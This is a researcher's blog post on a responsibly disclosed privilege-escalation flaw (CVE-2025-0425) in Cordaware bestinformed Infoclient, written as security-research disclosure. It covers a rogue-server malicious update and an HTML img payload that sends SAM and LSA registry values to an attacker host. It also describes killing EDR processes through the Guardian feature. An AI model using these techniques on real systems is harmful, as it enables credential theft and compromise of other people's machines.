LPE by changing an IP Address
18. Feb 2025, #cve #privesc #reverse engineering
This is the story of how I managed to come across CVE-2025-0425↗, a local privilege escalation vulnerability in Cordaware’s bestinformed Infoclient which arises because a user is allowed the change the IP address of the server.
In addition to this blog post, check out “Vulnerabilities in Cordaware bestinformed”↗ on cyllective’s blog to read up on the other vulnerabilities we found along the way. And by we I mean my partner in (not)crime @cydave↗ and yours truly. If you’re just here for the exploit, jump to here.
The Target #
Cordaware bestinformed↗ is a software designed for sending messages to users via desktop info banners. This software has a client running on computers and a server, used for distributing messages to those clients. A practical example would be, when a service needs unplanned maintenance, the IT team could send a message to bestinformed Infoclients, which then would show up on a Users desktop informing them of the maintenance.
Backstory #
In autumn of 2024, I was auditing an application for a customer which required company internal access. This meant I had to use employee hardware for the audit. Among the required software to connect to the internal application, the notebook had other apps installed.
Those apps kept greeting me every morning because all of them were configured to automatically open upon login. Since this was annoying, I opened task manager to turn off as much of those apps as I could. Then I spotted something inside the task manager… a program called infoclient.exe
, which I never heard of. Upon checking out the details, I noticed that this program is running as NT AUTHORITY\SYSTEM
.
I probably had the same reaction as you when I saw this GUI for the first time: This looks old… which does not necessarily mean bad, but it could mean legacy code, unmaintained code or sometimes just code that has never been audited. My spider häcker sense instantly fired off.
Easy Win? #
Now, there would be an easy win here if I could provoke a “Common Item Dialog”↗ like GetOpenFileNameA↗. This is a common1 local privilege escalation or kiosk escape technique if a GUI is running elevated.
tl;dr: From a file dialog like GetOpenFileNameA
, you can simply spawn other processes. Here is a quick demo:
Sadly, I did not find any file open dialog in the infoclient.exe
GUI. The only significant change I could make was change the servers IP address.
This meant, a low-privileged user could switch to, for example, an attacker controlled server. At this moment, I knew I had to investigate this software. Allowing a normal user to change the address of a server, who’s client runs as NT AUTHORITY\SYSTEM
cannot be good.
But for going forward, I would need to intercept traffic between the client and the server. And this was not possible on this my customers Windows client. But after investing 10min into this, I knew there had to be a vulnerability in allowing the change of the IP address. So, after the main audit was over, I asked my customer if I could pro-bono take a look at the bestinformed Infoclient. They agreed and I got to work…
Just unpack the Rabbit #
Because I wanted to intercept the traffic, I needed a way to self-host the service. Luckily, this software can be self-hosted. I asked bestinformed for a demo license, letting them in on my plan and they also agreed. While I was waiting for my demo license, I copied the client files into a VM to start some reverse engineering attempts.
Well that is unfortunate. Not only is the binary programmed in Object Pascal (Borland Delphi), it is also packed! There are a few quite old tutorials around for ASPack, but before even reading into this, Dave was already on the task! He managed to unpack the client binaries using x64dbg↗, Scylla↗ on good’ol Windows XP.
From there, I tried to fool around with IDR↗ and dhrake↗, in both cases not really that successful. But I’m not really a skilled reverse-engineer on that level. Since the demo license arrived, I quickly gave up on reverse engineering and went on to inspect the traffic and the server.
Closing Is Optional #
After not getting that far by inspecting the binary, it was time to inspect the traffic. In the time I was looking at the binary, the demo license arrived and I quickly set up a server and client. Using WireShark and tcpview↗, I could see traffic going to the same port I was accessing the web GUI with, so I assumed it was HTTP traffic.
When I forced the traffic into Burp↗ via the system proxy, the request would show up but the response was empty. I also could not replay the request. At first I thought something was broken in Burp so I switched to mitmproxy↗. They even have a nice “redirector” built on top of WinDivert↗ which lets you force traffic into the proxy without relying on the system proxy. But the same thing there. I see the request coming in but no response and replaying does not work.
After some investigating, Dave noticed the Keep-Alive
inside the request. The client is never ending/closing the HTTP request. The client will register itself as online via GET /ClientRegister
and the socket from this request will be used going forward. The server will send an immediate response and new commands, even minutes later, through the same socket.
This meant, using a classic HTTP proxy like Burp or mitmproxy was not viable. I quickly threw something together in Golang and then was able to read the traffic.
Code
package main
import (
"crypto/tls"
"fmt"
"log"
"net"
"os"
"sync"
)
var (
lPort string = "9999"
rHost string = "192.168.56.11"
rPort string = "8043"
sslCrt string = "server.crt"
sslKey string = "server.key"
)
func startProxy(lConn net.Conn) {
defer lConn.Close()
log.Printf("New connection: %s", lConn.RemoteAddr())
rAddr := fmt.Sprintf("%s:%s", rHost, rPort)
rConn, err := tls.Dial("tcp", rAddr, &tls.Config{
InsecureSkipVerify: true,
})
if err != nil {
log.Printf("Error connecting to %s: %s", rAddr, err)
return
}
defer rConn.Close()
log.Printf("Connected to %s", rAddr)
mu := new(sync.Mutex)
wg := new(sync.WaitGroup)
transferAndPrint := func(src, dst net.Conn, direction string) {
defer wg.Done()
buf := make([]byte, 1024)
for {
n, rErr := src.Read(buf)
if rErr != nil {
break
}
if n > 0 {
if _, wErr := dst.Write(buf[:n]); wErr != nil {
break
}
mu.Lock()
log.Printf("%s\n", direction)
fmt.Fprintf(os.Stdout, "%s\n\n", buf[:n])
mu.Unlock()
}
}
}
wg.Add(2)
go transferAndPrint(lConn, rConn, "CLIENT -> REMOTE")
go transferAndPrint(rConn, lConn, "REMOTE -> CLIENT")
wg.Wait()
}
func main() {
cert, err := tls.LoadX509KeyPair(sslCrt, sslKey)
if err != nil {
log.Fatalf("Error loading certificates: %s", err)
}
lAddr := fmt.Sprintf(":%s", lPort)
listener, err := tls.Listen("tcp", lAddr, &tls.Config{
Certificates: []tls.Certificate{cert},
InsecureSkipVerify: true,
})
if err != nil {
log.Fatalf("Error starting listener: %s", err)
}
defer listener.Close()
log.Printf("Proxy listening on %s", lAddr)
for {
c, err := listener.Accept()
if err != nil {
log.Printf("Connection error: %s", err)
continue
}
go startProxy(c)
}
}
The full request is huge but essentially, the response below will display a banner text at the top of the screen reading “hello world”, (endlessly repeating until a configured timeout).
Client: GET /ClientRegister?VER=6.3.6.8 ... HTTP/1.1
Server: 201 OK
Server: 201 info=<p>hello world</p>,caption=,"now=23.11.2024 23:05:13",user=Administrator,ei=0,id=bi-info_ ...
Dave and I then prepared a bit of Python which would act as our own custom server, enabling us to interact with a client in the same way the legit server would.
Rabbit Holes #
As you probably saw in the text above, the info message is formatted/styled using HTML. The rendering seems to be custom (at least not WebView) and only allows for specific tags↗. But since img
can load remote sources, I can issue network requests as NT AUTHORITY\SYSTEM
by sending a message with an image from my evil server to a client.
Even better, after experimenting, I found that the href
attribute can be set to a network path. This would enable me to capture and relay hashes. Sadly, this is a dead end for the local privilege escalation. Cracking those hashes is not feasible and you cannot relay hashes directly back to the sender since KB5004760
. But remember the img
tag, it will come in handy later…
The biggest rabbit hole I went through is that inside the client config↗ you can have a InfoStartScript
and InfoEndScript
. I should be able to use those as:
- a) I can push config files with my evil server and
- b) I can send infos to clients with my evil server, in theory triggering those scripts.
Based on what we found, this was Erlang code like the following examples (taken from the docs):
[InfoStartScript]
Script="program Script;",var,"AList: TStringList;",begin,"AList :=TStringList.Create;",try,"AList.Text := InfoListText;","if NOT (AList.Values['Popup'] = '3') then begin AList.Values['Popup'] := '1'; end; AList.Values['PopupUseIE'] := '1'; AList.Values['Creator'] := AList.Values['Creator'] + ': ' + AList.Values['Info']; ",SetInfoListText(AList.Text);,finally,AList.Free;,end;,end.
[InfoEndScript]
Script="program Script;",begin,"if RunningOnWinLogon then SendResponse('Info Ending on WinLogon Desktop','Status') else SendResponse('Info Ending on User Desktop','Status');",end.
Since I managed to achieve RCE on the server using an Erlang script, I was hoping for the same with a line like os:cmd(Command)
. After many hours of trying to get such a script to even write to a file, we gave up. The problem here is most likely the interpreter for those scripts only has restricted access to functions, ignoring certain code.
This theory was formed as a few hours into trying, I found the script editor↗ mentioned throughout the manuals but not installed on either client or server. In there, you can show all available functions with the autocomplete feature. After reading the documentation of those functions, non of them were what we needed and I moved on.
Legit Updates #
While searching for another way to escalate privileges/execute code on the client, Dave and I were fiddling around in the web GUI of the bestinformed
server software. In there, we found ~10 XSS vulerabilities, some of them unauthenticated. In addition to those, I even managed to find an authenticated RCE vulnerability. More on those vulnerabilities can be found on cyllective’s blog↗.
After having fun in the web GUI for a bit, I finally found something promising towards a privilege escalation vulnerability. In System/Autoupdate
, you can provide updates for clients. Since I did not have such an update file on hand, I again asked Cordaware if they could provide me one. This update is a ZIP file with a specific structure, and contains among other files, a Autoupdate.ini
file. This file contains the following contents:
Program=infoclient.exe
Well this looks like the perfect entrypoint, as infoclient.exe
was also in that ZIP file. Based on the level of vulnerabilities we found in the web GUI, I just assumed the client does not validate file signatures, even if the update was signed. I then created a malicious ZIP and uploaded this update to the bestinformed server.
From there, I was able to push this update to clients while inspecting the traffic. This is what this looked like:
Client: GET /ClientRegister?VER=6.3.6.8 ... HTTP/1.1
Server: 201 OK
Server: 201 INFO=UPF=Autoupdate_bi-autoupdate-archive_<hash>_<version>/<name>.zip
The response from the server includes the URL where the client will download the ZIP file. It will then automatically extract it and run the binary specified in the ini
file. Sweet!
Adding bit more Python code to my custom server was then all that was left to do to finally achieve local privilege escalation or remote code execution, depending on how you view it. Not gonna lie, it felt good knowing that my häcker sense from the beginning was right.
This LPE is being tracked as “Local Privilege Escalation via Config Manipulation” (CVE-2025-0425↗). The affected versions are <6.3.7.0
. Later version contains a patch, not allowing users to change the server address after the first installation of the Infoclient.
Bonus #
Privesc Vector 2 #
Remember the <img>
tags from earlier? Well they are actually quite useful for another way of achieving privilege escalation, at least in theory. Inside an “info”, there can be “Dynamic Infoclientvalues (DICV)↗”. Those are place holders which the client will replace before showing the message to the user. For example, to check if a file exists you could send the following HTML:
C:\hi.txt exists: %DICV(diFileExists,C:\hi.txt)%
This would then show show the following:
As you probably can guess, diFileExists
happily accepts network paths. But as mentioned above, this callback is not useful to us. However, I spotted diRegKey
in the list of dynamic values. This will happily read out any registry key, giving me an arbitrary registry read. Since the app runs with high enough permissions, reading HKLM\SAM
and HKLM\SECURITY
is possible, enabling me to read the following keys:
HKLM\SAM\SAM\Domains\Account\Users\000001F4 V
HKLM\SAM\SAM\Domains\Account F
HKLM\System\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data}
With those, the NTLM hash of the local “Administrator” account can be restored2, giving me again local privilege escalation or remote code execution.
But for this I first needed to transfer those values to another host, as those bytes were not useful inside a text banner displayed on my desktop. This is were the <img>
tags come into play again. I was able to format a message in a way where the registry values will be referenced in the URL loading the images. It works something like this:
<p>JD: <img src="http://192.168.56.1:9999/exfil?jd=%DICV(diRegKey,HKLM\SYSTEM\CurrentControlSet\Control\Lsa\JD\Lookup)%"></p>
Setting up a simple Python web server as you see in the image above was enough for me to get a successful callback. However, I did not proceed to fully PoC this vulnerability as this project was already eating up too much time and honestly, I did not want to deal with the encoding issues.
Free EDR Killer #
While stumbling through the web GUI looking for a privesc opportunity, I encountered the “Guardian”↗ feature. This feature enables real time information distribution based on running processes and window titles. For example, you could set up a guardian to trigger if a process called “TeamViewer.exe” would start. This guardian can then inform you that TeamViewer is not allowed and kill the process for you.
Because I can set up guardians from my evil server, I can arbitrary kill any process as again, the client runs as NT AUTHORITY\SYSTEM
. This feature could be abused to kill EDR software before a malicious update is loaded. As a demo, here is a guardian which kills *notepad*
:
Closing Thoughts #
When I asked Cordaware why their client runs with such high privileges, they responded by saying that the Guardian feature requires those permissions as well as displaying information banners on the lock screen. This is understandable but I would still like to see a security warning in the docs so that users of Cordaware bestinformed can acknowledge this in their threat model. For more info on what to consider if you are running this software, read this↗ chapter.
None the less, a huge Danke to Cordaware at this point. They were super onboard with me doing this little research from giving me a demo license, providing me with the update file and handling the responsible disclosure absolutely perfect. They fixed all vulnerabilities we found in a timely manner and were super professional to communicate with.
Also, thanks again to @cydave↗ for contributing with me on this project!
See you soonTM
Comments
To reply to this blog post, visit this post↗ on Bluesky.